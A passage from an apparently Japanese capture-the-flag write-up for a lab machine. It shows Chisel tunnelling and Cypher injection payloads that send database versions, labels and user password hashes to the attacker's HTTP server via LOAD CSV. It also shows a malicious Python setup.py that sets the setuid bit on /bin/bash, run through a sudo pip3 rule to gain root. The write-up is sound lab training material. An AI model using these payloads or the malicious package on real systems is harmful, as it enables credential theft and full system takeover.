passwd file: /etc/pam.d/passwd                                                                                                                              
passwd file: /etc/passwd
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd


...省略
```
`neo4j`が動いている。珍しい。
Portが開いているか確認する。動いていれば`7474`辺りが開いているはず。
```bash
www-data@only4you:/etc$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN     
tcp        0      2 10.129.158.5:47662      10.10.14.31:4444        ESTABLISHED
tcp        0      1 10.129.158.5:53502      8.8.8.8:53              SYN_SENT   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN     
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*                          
udp        0      0 127.0.0.1:60703         127.0.0.53:53           ESTABLISHED
Active UNIX domain sockets (servers and established)
```
`neo4j`関連のPortは7474、7687だがそれ以外も色々とPortが開いてそう。。。
3000とか8001ってなんでしょうか？？？

# Initial Access - 2
## Chisel
さて、トンネル開けて実際にどんなものが立ってるか見に行きます。
以下サイトからamd64のバージョンをインストール。

https://github.com/jpillora/chisel/releases

Kaliをサーバー側、攻撃対象をクライアント側で設定する。
```bash:kali
┌──(root㉿kali)-[~/work]
└─# ./chisel_1.8.1_linux_amd64 server --port 1234 --reverse
2023/04/26 07:52:01 server: Reverse tunnelling enabled
2023/04/26 07:52:01 server: Fingerprint ZTDb74YIDwhJxxh2Lxo8hqHaLXo+GCRCZKXMN2sNnho=
2023/04/26 07:52:01 server: Listening on http://0.0.0.0:1234
2023/04/26 07:54:33 server: session#1: tun: proxy#R:7474=>7474: Listening
```
```bash:攻撃対象
www-data@only4you:/tmp$ wget http://10.10.14.31/chisel_1.8.1_linux_amd64
--2023-04-26 11:48:52--  http://10.10.14.31/chisel_1.8.1_linux_amd64
Connecting to 10.10.14.31:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8384512 (8.0M) [application/octet-stream]
Saving to: ‘chisel_1.8.1_linux_amd64’

chisel_1.8.1_linux_ 100%[===================>]   8.00M  59.4KB/s    in 1m 54s  

2023-04-26 11:50:46 (71.8 KB/s) - ‘chisel_1.8.1_linux_amd64’ saved [8384512/8384512]

www-data@only4you:/tmp$ chmod +x chisel_1.8.1_linux_amd64 
<hisel_1.8.1_linux_amd64 client -v 10.10.14.31:1234 R:7474:127.0.0.1:7474    
2023/04/26 11:54:30 client: Handshaking...
2023/04/26 11:54:32 client: Sending config
2023/04/26 11:54:32 client: tun: SSH connected
```
Neo4jを見に行ってみた。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d0f2c3cf-a283-761f-ed86-c0aeebb23cfe.png)
やってますね。デフォルトのPasswordの「neo4j」では入ることはできなかった。
## Port 8001
というわけでひたすらトンネリングで気になるPortを確認していたところ8001で開いているサイトを確認した。
```bash
www-data@only4you:/tmp$ client -v 10.10.14.31:1234 R:8001:127.0.0.1:8001
```
このサイトは他のサイトと違いIDが「admin」でPassが「admin」で入ることが出来た。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bbc4ded9-9073-0da8-f4e5-ba6251d2ca02.png)
ああ、neo4jここで使うのかなといった感覚である。グラフィックな表示とSearch欄を発見した。
このSearch欄、サイファーインジェクションできないかを試してみる。

## Cypher Injection
詳しくは以下のHackTricksを確認すればわかりやすいと思う。

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j

インジェクションが出来るか確認のためにPythonで簡易的にHTTPサーバーを立てておく。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m http.server 8181 
Serving HTTP on 0.0.0.0 port 8181 (http://0.0.0.0:8181/) ...
```
サーバーのバージョンを抽出する以下のペイロードを打ち込んでみる。
```
' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.31:8181/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 
```
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c5737388-b728-d4e5-15da-a525cdb6d598.png)
OK！成功した！
じゃぁこのDBから何か抜けないか追加でペイロードを打ち込んでみる。
一気に抜ける以下の`apoc`の機能を使えるか試す。
```
' OR 1=1 WITH 1 as a  CALL apoc.systemdb.graph() YIELD nodes LOAD CSV FROM 'http://10.10.14.31:8181/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 0 as _0  //  
```
これはダメだった。おそらく`apoc`が入ってない。
続いて、以下のLabelを抜き出すペイロードを打ち込んでみた。
```
OR 1=1 WITH 1 as a  CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.31:8181/?label=' + label as r RETURN 0 as _0 //`
```
`user`と`employee`のラベルを確認できた。じゃあpropertyを抜けるか確認した。
```
' OR 1=1 WITH 1 as a  MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.31:8181/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
```
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/900022b4-5bb0-96e9-8c4b-8687e1402981.png)
Userの`admin`と`john`のパスワードが抜けました！！
MD5で格納されてたので以下のサイトで復元。

https://hashtoolkit.com/

![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d6b1e460-141d-d378-594a-df810af4dfc0.png)
Johnのパスワードがわかりました。これでログインしてみます。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0ee3e000-55fb-11cb-8edf-43fe9ec52889.png)
ログイン完了です！！これでUser権限の奪取に成功しました！！

# Privilege Escalation
# sudo -l
No Passwordで行けるか確認。
```bash
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
```
ほう、3000がここで出てくるのか。
なら再度、ローカルポートフォワーディングでSSHログインしておこう。3333で繋ぎます。
```bash
┌──(root㉿kali)-[~/work]
└─# ssh -L 3333:127.0.0.1:3000 john@10.129.158.5
```

## Gogs
実際にアクセスするとこんな感じです。
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/862f2c8a-38f5-71ae-fac2-9a1c5e28c2f2.png)
ああ、Gogsですね。ログインできるか、Johnのクレデンシャルで試してみます。
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/550bd890-8b6a-af23-6e6d-f2ac129caf77.png)
いけました。
ここまでの情報でなんとなく方針はみえました。リポジトリにPythonパッケージの`tar.gz`ファイルを埋め込んでSetup時のコマンドでEscalationする感じですね。

## Malicious Python Packege
Exploitのやり方は以下のページを参考にすればいいと思います。

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

### build
まずはKaliでPythonの`setup.py`を作成する。
```python:setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os


def RunCommand():
    os.system("chmod +s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "lol",  #lolパッケージ
    version = "0.0.1",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)
```
これをBuildし`tar.gz`ファイルを作成するわけだが、そのためにPython仮想環境を用意しておく。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m venv venv
```
作成後、仮想環境をアクティベートする。
```bash
┌──(root㉿kali)-[~/work]
└─# source ./venv/bin/activate
```
buildのためのパッケージをpipする。
```bash
┌──(vnenv)-(root㉿kali)-[~/work]
└─# pip install setuptools build
```
お待ちかねのBuildだ。
```bash
┌──(vnenv)-(root㉿kali)-[~/work]
└─# python -m build
```
`./dist/`配下に`lol-0.0.1.tar.gz`が出来ているはずなので、此奴を攻撃端末に転送するためにHTTPサーバを立てておく。
```bash
┌──(vnenv)-(root㉿kali)-[~/work]
└─# python3 -m http.server 80
```
### gogs repository
Gogsにて新たなリポジトリを作成し、攻撃対象のマシン上でCloneを実施する。
```bash
john@only4you:~$ git clone http://127.0.0.1:3000/john/lol.git
Cloning into 'lol'...
warning: You appear to have cloned an empty repository.
john@only4you:~$ ls -lta
total 36
drwxr-x--- 5 john john 4096 Apr 26 15:15 .
drwxrwxr-x 3 john john 4096 Apr 26 15:15 lol
-rw-r----- 1 root john   33 Apr 25 20:49 user.txt
drwx------ 2 john john 4096 Mar 30 11:51 .cache
drwx------ 2 john john 4096 Mar 30 11:51 .ssh
drwxr-xr-x 4 root root 4096 Mar 30 11:51 ..
lrwxrwxrwx 1 john john    9 Dec  8 20:42 .mysql_history -> /dev/null
-rw-rw---- 1 john john 3772 Dec  4 15:48 .bashrc
lrwxrwxrwx 1 root root    9 Nov 30 21:46 .bash_history -> /dev/null
-rw-rw---- 1 john john  220 Feb 25  2020 .bash_logout
-rw-rw---- 1 john john  807 Feb 25  2020 .profile
john@only4you:~$ cd lol
john@only4you:~/lol$ ls -lta
total 12
drwxrwxr-x 7 john john 4096 Apr 26 15:15 .git
drwxrwxr-x 3 john john 4096 Apr 26 15:15 .
drwxr-x--- 5 john john 4096 Apr 26 15:15 ..
```
このリポジトリに先ほどの`lol`パッケージをダウンロードする。
```bash
john@only4you:~/lol$ wget http://10.10.14.31/lol-0.0.1.tar.gz
--2023-04-26 15:16:38--  http://10.10.14.31/lol-0.0.1.tar.gz
Connecting to 10.10.14.31:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 795 [application/gzip]
Saving to: ‘lol-0.0.1.tar.gz’

lol-0.0.1.tar.gz                       100%[============================================================================>]     795  --.-KB/s    in 0s      

2023-04-26 15:16:39 (48.7 MB/s) - ‘lol-0.0.1.tar.gz’ saved [795/795]

john@only4you:~/lol$ ls -lta
total 16
drwxrwxr-x 3 john john 4096 Apr 26 15:16 .
drwxrwxr-x 7 john john 4096 Apr 26 15:15 .git
drwxr-x--- 5 john john 4096 Apr 26 15:15 ..
-rw-rw-r-- 1 john john  795 Apr 26 15:06 lol-0.0.1.tar.gz
```
Gitの設定を行い、このパッケージをコミットする。
```bash
john@only4you:~/lol$ git config --global user.email "you@example.com"
john@only4you:~/lol$ git config --global user.name "Your Name"
john@only4you:~/lol$ git add lol-0.0.1.tar.gz      
john@only4you:~/lol$ git commit -m "first commit"
[master (root-commit) 1158df2] first commit
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 lol-0.0.1.tar.gz
```
コミットが完了すればPushする。
```bash
john@only4you:~/lol$ git push -u origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 1015 bytes | 1015.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
Username for 'http://127.0.0.1:3000': john
Password for 'http://john@127.0.0.1:3000': 
To http://127.0.0.1:3000/john/lol.git
 * [new branch]      master -> master
Branch 'master' set up to track remote branch 'master' from 'origin'.
john@only4you:~/lol$ 
```
### Exploit
レッツ実行！！
```bash
john@only4you:~/lol$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/lol/raw/master/lol-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/lol/raw/master/lol-0.0.1.tar.gz
  File was already downloaded /home/john/lol/lol-0.0.1.tar.gz
Successfully downloaded lol
```
![22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/db430ee2-eb8e-df03-c860-b0938ff8c605.png)
Root権限奪取に成功しました！

# まとめ
![23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4761f82b-455d-9835-1e00-d01d952e8e7a.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
最初のRCEのラビットホールには手を焼かせられましたし、Neo4jのCypher Injectionは初めてで理解するのに時間がかかったし、最後ら辺はひたすらポートフォワードを行っていた印象です。

とても難しかた。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。